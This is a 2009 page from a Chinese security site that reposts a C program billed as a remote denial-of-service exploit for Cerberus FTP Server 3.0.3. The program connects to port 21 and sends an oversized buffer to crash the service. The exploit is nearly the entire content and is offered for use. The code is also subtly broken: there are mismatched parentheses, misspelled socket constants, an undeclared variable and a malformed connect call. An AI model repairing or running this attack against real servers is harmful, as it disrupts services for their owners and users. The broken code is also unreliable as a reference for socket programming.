首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cerberus FTP Server 3.0.3 Remote Denial of Service Exploit
来源:vfocus.net 作者:Single Eye 发布时间:2009-09-15  

/*

vulnerab         : Remote Denial of Service
Command vulnerab : User
Software         : Cerberus FTP Server
Versian          : 3.0.3
website software : http://www.cerberusftp.com

greetz : *Str0ke*

Milw0rm is The best in world

*/


#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <stdlib.h>
#include <conio.h>
#pragma comment(lib, "ws2_32.lib")
#define size 520

 

int main(int argc, char *argv[])
{

 int cer1,cer2,cer3;
 char buffer[size];

  if (argc < 2)
{
   printf("\n\n Cerberus FTP Server V 3.0.3 Remote Denial Of Service Exploit \n\n");
   printf("\n u  : file ip \n");
   printf("\n EX : Cerberus.exe 127.0.0.1 \n");
   exit(-1);
}
  memset(buffer,"A",520);

 WSADATA wsaData;

  if(WSAStartup (MAKEWORD(2,1),&wsaData) != 0)
  {
   printf("WSAStartup is failed \n");
   exit(-1);
  }
  struct hostent * remote;

 remote = gethostbyname(argv[1]);
 if(! remote)
 {
  cer1 = inet_addr(argv[1]);
 }
 if (!remote) && (cer1 == INADDR_NONE))
 {
     printf("Unable to resolve %s\n",argv[1]);
        exit(-1);
 }

 cer2 = socket(AF_INET,SOCKET_STREAM,IPPROTO_TCP);
 if(cer2 == INVALID_SOCKET)
 {
  printf("\n Error On Create Socket \n");
  exit(-1);
 }

    struct sockaddr_in ftp;
    if (remote != NULL)
   memcpy(&(ftp.sin_addr),remote->h_addr,remote->h_length);
  else
   ftp.sin_addr.s_addr = addr;
  if (remote)
   ftp.sin_family = remote->h_addrtype;
  else
   ftp.sin_family = AF_INET;
  ftp.sin_port=htons(21);

printf("\n Denial of service FTP server %s \n",argv[1]);
printf("\n Sending Packet\n");
Sleep(1000);
printf("\n packet size = %d byte\n" , sizeof(buffer));
printf("\n Please Wait ... \n");

cer3 = connect (cer2, (struct Sockaddr *), &ftp, sizeof (struct Socketaddr_in));
if(cer3 == 0)
{
 printf("\n again please wait...\n");

 Sleep(500);

 printf("\n c0nnect3d\n");


 send(cer2 , buffer , sizeof(buffer) , 0);
 printf("\n\n Cerberus FTP Server Have been Crashed ! \n\n");
}
else
{
 printf("\n Cerberus FTP Server not listen in port \n");
}

return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Safari IPhone (using tel
·Batch Picture Watemark 1.0 (.j
·PHP Pro Bid Remote Blind SQL I
·FotoTagger 2.12.0.0 (.XML File
·FtpXQ FTP Server 3.0 Remote De
·Tuniac v.090517c (.PLS File) L
·Mozilla Firefox 2.0.0.16 UTF-8
·PowerISO 4.0 Local Buffer Over
·IPSwitch IMAP Server <= 9.20 R
·vBulletinR Version 3.8.2 D3n14
·MP3 Studio 1.0 (.m3u File) Loc
·BigAnt Server 2.50 GET Request
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved